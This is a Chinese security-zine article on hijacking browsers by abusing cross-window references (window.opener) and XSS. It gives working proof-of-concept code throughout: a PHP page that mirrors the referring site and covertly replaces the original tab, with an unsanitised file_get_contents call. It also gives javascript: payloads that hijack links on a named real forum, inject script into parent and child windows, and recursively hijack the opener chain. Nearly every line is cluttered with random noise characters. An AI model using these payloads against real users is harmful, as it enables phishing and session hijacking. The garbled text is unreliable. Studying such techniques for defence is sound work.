==Ph4nt0m Security Team==
! r9 \2 P1 S9 f
, N; x- J+ ?1 t( N6 x/ Y Issue 0x03, Phile #0x05 of 0x07
( N( Y9 b8 C9 ?, r! M
/ d# ]' I W# n7 `/ u9 x& F. V0 T$ y7 m$ D6 {: b8 c
|=---------------------------------------------------------------------------=|
3 e' ^" `8 o( ^& ~|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|6 }0 C2 m( A8 [8 G: U: Z5 q
|=---------------------------------------------------------------------------=|
5 Y. c7 @5 F& Q2 ~ X1 k% f|=---------------------------------------------------------------------------=|. C* ~: X: R- T5 W' ]% i
|=------------------------=[ By rayh4c ]=---------------------------=|3 J2 d0 c1 k/ b. `
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
1 n+ ]- ~8 u V, ~|=---------------------------------------------------------------------------=|
( m" q9 s2 F% B8 q
, s! y- u q* w2 N. }! L1 A3 T f: ^. Y8 E
[目录]0 V7 c$ y+ B6 g) U. _
" ^0 C/ i# O4 O5 y) x* k' O
1. 前言: l/ |- ?" E2 m% }8 D) e
2. 同源策略简叙
5 r; x6 @8 R" X, K% p( m3 V3. 理解window对象的同源策略
! u2 g) y) |8 l8 Z2 I0 M4. 窗口引用功能中的同源策略漏洞
1 _/ V7 M$ P* ` 4.1 父窗口引用子窗口的同源策略问题
: T) V) s) ^3 Z2 E) t- N 4.2 子窗口引用父窗口的同源策略问题5 e; H: X( b" ?7 P) i
5. 利用窗口引用漏洞劫持浏览器; l2 L( {, q; w9 B' s7 w+ F
6. 利用XSS漏洞劫持浏览器- B$ n. @2 x3 O' D- }2 _
6.1 正向跨窗口劫持
$ ^0 R9 P4 r7 a: E 6.2 反向跨窗口劫持
5 C1 L' e( n& Y# f4 ^6 ` 6.3 极度危险的跨框架窗口引用劫持2 @2 _" Y% |' O% a5 j M
6.4 极度危险的正反向跨窗口递归劫持
$ T5 @* p7 q, K7 B2 k 6.5 完全控制浏览器
4 @) L0 x# l9 P* d' V7. 后记
' m7 S4 G; ~& f( ~3 v% T" Q8. 参考9 S- h, b8 I( R* r8 \
$ y9 L& m9 g O* y* `
9 s/ @+ m9 a1 |$ v! _一、前言9 ^, X; _4 E# S/ J
2 J( O* ^2 H: [# r; A 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋* F/ J3 b, B2 l% ~ {& _) q+ J
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session. e# I( x& L6 g4 Y5 a8 j/ ]) h& }
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被+ U3 Q3 l' R" X* B- r! P, O
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。& N+ g& m" S- ^9 d
7 Q, L& p! L/ {# i* h
: w9 t! @- G f: D1 ~0 n5 @$ i/ L二、同源策略简叙
2 [0 @* G2 h& `7 z
. ]6 G9 u) I C" V! r b 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
3 }4 i7 N* w5 G# N从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都! s P& o" K% u; P L; t
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木! q0 l9 x$ V$ H0 o5 y+ j2 O
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
; X9 h+ p5 h0 ~( Y7 k漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。3 _" C) W$ v' S
- p' |( Q6 Z9 B' M5 Y7 T! o4 r
; }% |2 c) a3 g. h% r; Z
三、理解window对象的同源策略
0 I* v- `' ~! q5 y2 S2 H6 U$ P. p9 B1 ]4 V* U. l3 T
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对9 }& R7 w" K; S4 d
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:/ l$ Y, R6 J( Z9 \! s; B1 W: l
& Z u& r2 q: I2 q9 M7 ^
--code-------------------------------------------------------------------------
2 L8 R5 M" W" T7 n0 B" O<script language="javascript">
, Y% f; z) J$ efor(p in window) document.write(p+"<br>");: z( C* w/ a1 e" j: h
</script>
3 K# D* o* @5 I1 M! v-------------------------------------------------------------------------------
& W. w" c. ~0 i1 ]
# k: _# Y% c1 N: w% L 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方0 ^ E7 I8 h% w7 ? n+ c
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,' _' w) N& ]6 c4 k
这些属性和方法就必须遵循同源策略。
: Z: P8 F" l% F9 o+ }3 ?$ B9 y, n
# K; x7 F9 U2 ^9 `7 c3 ~ 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那/ c" W- W0 L$ e
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须1 h; \$ @: u6 B! h2 q# j7 v0 K% J/ \; B
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这& v; v; ~' M( \0 q3 m7 i% W
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的+ u. J' q) b5 a8 o
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location* [) B* D0 G1 N' j, [
属性并没有被拒绝访问。$ L% b3 G- |# `2 q1 t! N. X
, g, C+ U" V5 B* r. T
--demo.html--------------------------------------------------------------------8 P& J, M: i, c3 {
<script language="javascript"> 3 {: i! F- `; n" P/ A3 _0 o' m
function allPrpos(obj) { % W; P6 l5 I6 z0 J$ {9 s
var props = "<table><tr><td>名称</td><td>值</td>"; 6 [+ t3 {$ g- Y- |/ x" _
for(var p in obj){ * r( }8 z7 H& B* R5 M
if(typeof(obj[p])=="function"){
% G* {+ e4 p! h- O; n( Y obj[p]();
0 A! O3 o7 @& j$ N$ u1 x4 x$ D }else{
# ~+ s& ?) d, P7 D) A try
; n6 r; T( |5 i+ B3 w6 ]+ j) w: A { ) q9 a7 ^) v$ Q/ P$ U
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
1 A% }# t; p: N& f } 9 p# p; p, M, A3 I' k
catch (ex) M6 i8 ? O7 B# I3 ~
{ / ~4 Z% V( ]* t! Q
( X8 {$ X- U$ z
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
! L# X, p, a# ~. c0 f& T! t } 6 a( K) Y5 X* ^8 T" y
9 Y" t1 D, b6 Y! z- q9 q
}
3 B, z3 a- v9 O- o4 z) v }
/ t; ^2 j' N$ P
/ G4 f1 J7 o1 ~4 b/ `* W document.write(props+"</table>");
; ?! ?# K2 I/ _ H}
! R! t+ M5 w7 D4 Y$ w5 n2 ~ N B* A- y1 C4 u- b* q/ J5 t
function createWin() {% M$ y' ?( K1 T" A! E* w
newWin = window.open ("http://www.google.com"); * W+ L9 v5 i1 w t
setTimeout(function(){allPrpos(newWin)},2000);
. ~ C# e3 d& B6 }} : {% K0 J7 x* A2 Z
- D+ Z7 D# ^: E: J3 b
</script> 8 l9 {2 c; O+ P9 h- M! ?: i
" N8 U( M; G4 P, F- d" k
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
$ c" [7 Y5 Q! J6 F3 L; [------------------------------------------------------------------------------- W4 |$ T( z' }3 y9 q
6 [% Y7 K" \: I9 q$ T+ h; k. t6 [$ D$ U3 b& T% q4 [0 x
四、窗口引用功能中的同源策略漏洞2 @" U- ^4 G' `1 L4 V1 d' g
' K% {8 g0 N2 j, B2 J
4.1 父窗口引用子窗口的同源策略问题0 w, q- Y2 c0 x3 R v% e* _
/ B+ Q; u6 Z# j% Y+ j7 L( @ 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,+ b7 b. W( R: |, q. q2 z" c
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
% Z1 z3 Z1 T% O8 @3 Q0 O浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
" V b% `8 }- ~$ ~行测试,会发现父窗口可以控制非同源子窗口location属性值。 _# v6 Y9 `9 X
- [8 R: K0 r2 L/ N4 Q/ W--vul1.html--------------------------------------------------------------------3 V1 f* A! a- s$ [$ O/ f7 W3 _; ]1 y& Y& b
<script language="javascript">
; w0 a7 _% s2 W9 Y1 Mfunction createWin() { Z' G) E4 U' L& l7 L2 B
newWin = window.open ("http://www.google.com"); 7 I6 N% Z% Z) K7 L0 E/ K8 a' ?
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 9 E0 U/ a4 {6 ], G C# l" V' J# m5 i
}
- V- [9 E/ ~) c( H; k# t</script>/ y( \% w5 _% l1 X
; x n; X+ `3 t( ?
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
+ L% [$ f0 N3 p! I# T0 l c-------------------------------------------------------------------------------! h) |8 i' h0 d2 o3 w
7 r; v$ d0 E3 c& v, z6 K3 P$ p
0 m; O; b( |- i% \4.2 子窗口引用父窗口的同源策略问题' y7 e( ~- Q: B/ g) a: F
8 ?+ @2 E/ c N) z
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使& \! n7 @+ F$ l6 I
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们, a6 H! `9 m, ]+ b- \5 \
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定2 t( J5 ]% w" V9 m" l5 H; l/ D+ _
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。. e& r' Y/ B# ?- a" Z) [
6 W0 s4 t; n" R+ P- b--code-------------------------------------------------------------------------" ~: m% L, ]% V$ R! B! x' b
! U" [7 v$ d0 e
javascript:window.opener.location = "http://www.80sec.com";void(0);
/ L; d/ P( P5 T* s1 Y: ?4 a/ x) e! i8 H' e0 \
-------------------------------------------------------------------------------" n* S9 o9 S; }5 k8 d7 ^+ [
2 Z8 ]' y3 L }7 T) ]* e) [
Q2 b0 G0 s; d" y. @% L8 ~5 \
五、利用窗口引用漏洞劫持浏览器6 e7 N2 f! o3 h Q1 t$ w
; N5 g9 X4 a% d 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
- Y- n( r* D1 {% H窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那( ], k- [+ o: U
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。0 M, Y" ?3 C) e( Y1 v$ r
! P3 q& `8 P& W
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
5 K6 I- r9 `& q, T; x c! e0 W生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
6 ^( ?1 u1 e+ L ?者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接: Y1 a$ V8 W4 m7 ]) R1 `
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下0 I- M( C K0 ?& G: m5 w% G. J' p
会产生什么可怕的后果。/ E6 I) j* g5 D* y; {, H
4 X( W& a- J- D4 s 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
% _ ~3 @& F# p$ B0 }, u们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php9 {# ^& ]; H$ M; _# P9 u; |8 y
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时8 h) K1 b. k; D/ E
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
; ~* Z- j( \9 Z6 V; `以做更多的事情,所有的一切仅仅是因为点击了一个链接。; Y3 |- S# X9 x
1 h* a) r5 P. P--hjk_ref.php------------------------------------------------------------------
5 _5 @5 V. j/ @<?php
( t9 O& a, S6 [0 G% l7 R! k- dif (array_key_exists("HTTP_REFERER", $_SERVER)) {' ]8 y8 w! p! E- q) c
$Url_Mirror = $_SERVER["HTTP_REFERER"];0 B( G2 i' S8 k4 E, R
} ! A5 L4 c9 D, _# N5 t/ M8 m
if(isset ($_GET['ref'])) {6 a& `) ?- a m1 E* M
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
/ V4 h4 J3 c. F}$ E$ ^4 L) ]% O) ?; H" V3 m" _
?>6 W3 v- L5 G& U L- z
8 Q' S2 C0 C1 P, B* }; X4 [9 O* ^<script language="javascript">1 t& y- p7 a; \" V4 K3 _
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
6 z4 h% Q+ D4 O: L</script>/ T+ H- M$ u4 S: p
-------------------------------------------------------------------------------
: J$ s- Y+ I# D$ j: _( n' w
" _8 M' X; l# y- W! ^: X 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
% f) {- I! E/ g) u6 u
3 o) R% n+ g3 R% J9 j1 Q$ O1 l2 [( T, G: \4 V3 U
六、利用XSS漏洞劫持浏览器
4 O4 [- \0 ?3 y. i' w% m! @7 P/ n, L; K8 S" a
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
& \5 l, C/ x1 y% k持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
n' T; |" {9 t9 B1 TXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
. X" J# B0 p2 j- N讨论跨站师的终极技巧:; I9 ]8 c) V2 \3 V8 ?
% Q6 V4 A9 t+ Q& @+ ^$ F* D; s/ F& C# D0 E
6.1 正向跨窗口劫持8 U% v; X! m; t0 k& d/ v
0 B, D x2 t7 R3 @, Y1 J4 j: T 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
" B' D6 {3 h! p2 t主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
; _& J$ Y1 C: i- Y5 [ ]. A接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
/ r. u0 ^' n* F. W0 a框脚本。 P( ^/ I" @8 H: }: }) q1 `$ \& @0 l
$ f4 P- W% w5 v* \& i
--hijack_open.js---------------------------------------------------------------
0 J8 a1 ]6 P; K' ]
' g) S4 Q/ k/ V5 z1 d9 djavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);8 M4 B! n( G$ O1 t7 U8 R5 X
( ?5 J* r |0 j, y/ |/ d-------------------------------------------------------------------------------
. n l$ B# i3 E ^) Z
# @3 F4 [" f( g6 N l: } h' P
6.2 反向跨窗口劫持* h- t7 N8 c$ P) c+ \3 C
* i$ V' A! N }! z5 Z; l! l 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
( e8 D7 q* @. ]9 G$ w0 r) n: _码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
6 U; f. b. _: g' S框脚本。6 j. Y' Q$ F9 c3 ]: @$ I6 ]/ {
/ ]& X! |& {( N/ I& p- a( P--hijack_opener.js-------------------------------------------------------------
0 v" V; C9 ]2 I, W: Q U
) {% m, k$ \7 {. H1 mjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);* H/ j3 ?0 @5 E$ Q
0 h4 _7 p C+ v" I! N3 }; x4 H-------------------------------------------------------------------------------+ f, T+ @& [5 q* ?
5 n7 g1 O! L6 g- A+ x' @, K
1 H6 H2 s e- s* j2 ?6.3 极度危险的跨框架窗口引用劫持4 ~% o- C$ ?7 m* }, W% V" j1 b
! Z& E6 [8 t7 @( n( ^ 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
$ {* r& f5 C! d& E5 x- r可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就7 X; ~, J; V3 ]7 [. k. `$ j* C; J
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
; |3 r( u& Z: }1 t0 }0 w D非持久型的XSS,如下:7 I# o/ T( m5 c& c& g* y" d- j# ~
5 s# x, h% d! h<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
6 ?. [( x; f7 t, K. W7 ?6 N" Z6 d, _+ d
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
1 ?" Y/ ^# b2 | Z/ x注入脚本。9 f& W% Y9 r% g* N
P4 X* f& ~: J$ J9 @. n$ S0 J* M
--hijack_frame_opener.js-------------------------------------------------------
" r. l4 v1 {7 P3 Z: m% H$ g<script>9 t0 B$ p: f8 u) E- r
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";" n- g" W. d: c2 u8 C
</script>
1 \" W- W0 W& I: B8 |9 a-------------------------------------------------------------------------------, P: l% d/ i+ Z. V) j
: X6 U/ K# |8 U z/ y2 K
# Q3 d! [! g- H. W5 p, O' h6.4 极度危险的正反向跨窗口递归劫持
8 Q+ L; z* ~* E2 z" K: V4 A/ j2 D! b: Q9 s0 \
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window. V% W4 N8 t E% |0 L: ]& M- F, r
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
+ v6 O$ w$ n# S; T4 F异常处理规避之间跨域页面的访问异常,代码如下:3 o9 F" S' }& u' c1 Q0 M2 d
; X' ]$ L$ K2 \, i
--code-------------------------------------------------------------------------& ]9 P V- @6 G
$ l+ f9 a" b5 ^javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
e% t Y L2 J3 h
. H$ W/ v: j6 q" ^. a% ]-------------------------------------------------------------------------------+ ^9 V/ l {) t. c5 Q7 A
5 M/ G6 X7 _. o* \; @
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可1 x$ G& R% B/ ]& p6 ?+ V
以劫持B域之前的A域页面,从而实现“隔空打击”。
, k4 `* p; T' B+ k" G) h, Q ?. @
# Z ~- R1 F7 ~4 L 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面2 F( s9 S9 i/ P0 u! m% H) ^% ^5 G
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。$ }3 y* I5 o& Q7 w: ]5 O
4 H$ W+ _+ y) `& v# K 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
' u/ u! i; u% M# A) T) l
. @; p$ J1 q+ e9 v5 u9 m: i
8 r( _; `$ q% a! X6.5 完全控制浏览器
/ n% f5 l* j/ l2 |) p
5 X2 c- y3 j( l 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则( b5 M$ d- I0 Y1 K5 L3 a
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
9 V/ w. t) N# T7 e9 f8 n漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失" \) k9 L! l. p1 Z T; K
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
! x/ A2 V) z4 t4 O: k; O D列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站! O& l' \& \" G& w' G5 k) ^2 y2 ~& e
师的终极目标 - 完全控制浏览器。; [. u4 D, G5 V* H6 u
D( C% [4 h2 Y0 P8 t% R# Q
$ c( m* n; \# a$ X+ w七、后记0 U0 w+ v. b! M" t w3 D2 q5 _, ?
4 Z1 z7 o3 [* O' Z 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
, p. _# [3 [4 J" I$ F$ x8 m. [与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予2 L3 @) E& z) k2 H* G C' [
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。, L( w9 Z* w, J. t
5 z2 _1 e. w) }( q: B/ U
6 g' K; ]6 H% x
八、参考: q5 ]; s* `- L* w
/ r, X' @& v4 H& ^9 o* V$ c5 L
1. http://en.wikipedia.org/wiki/Same_origin_policy) V) G; P( T3 C4 o/ V+ m' W
2. http://code.google.com/p/browser ... licy_for_DOM_access* ?# `" l% X- d
3. http://www.w3.org/TR/Window/
2 k: T1 ?9 X% V6 Z; p4. http://www.80sec.com/release/browser-hijacking.txt
( P1 l5 ~3 n5 d. S- H7 A9 V& @5. http://www.80sec.com/all-browser-security-alert.html* P% s" U) Y2 D% X. \- F
6. http://www.80sec.com/ms08-058-attacks-google.html
8 l" U2 g4 C% Y. m( U9 I% O/ Q, j% H q
-EOF- |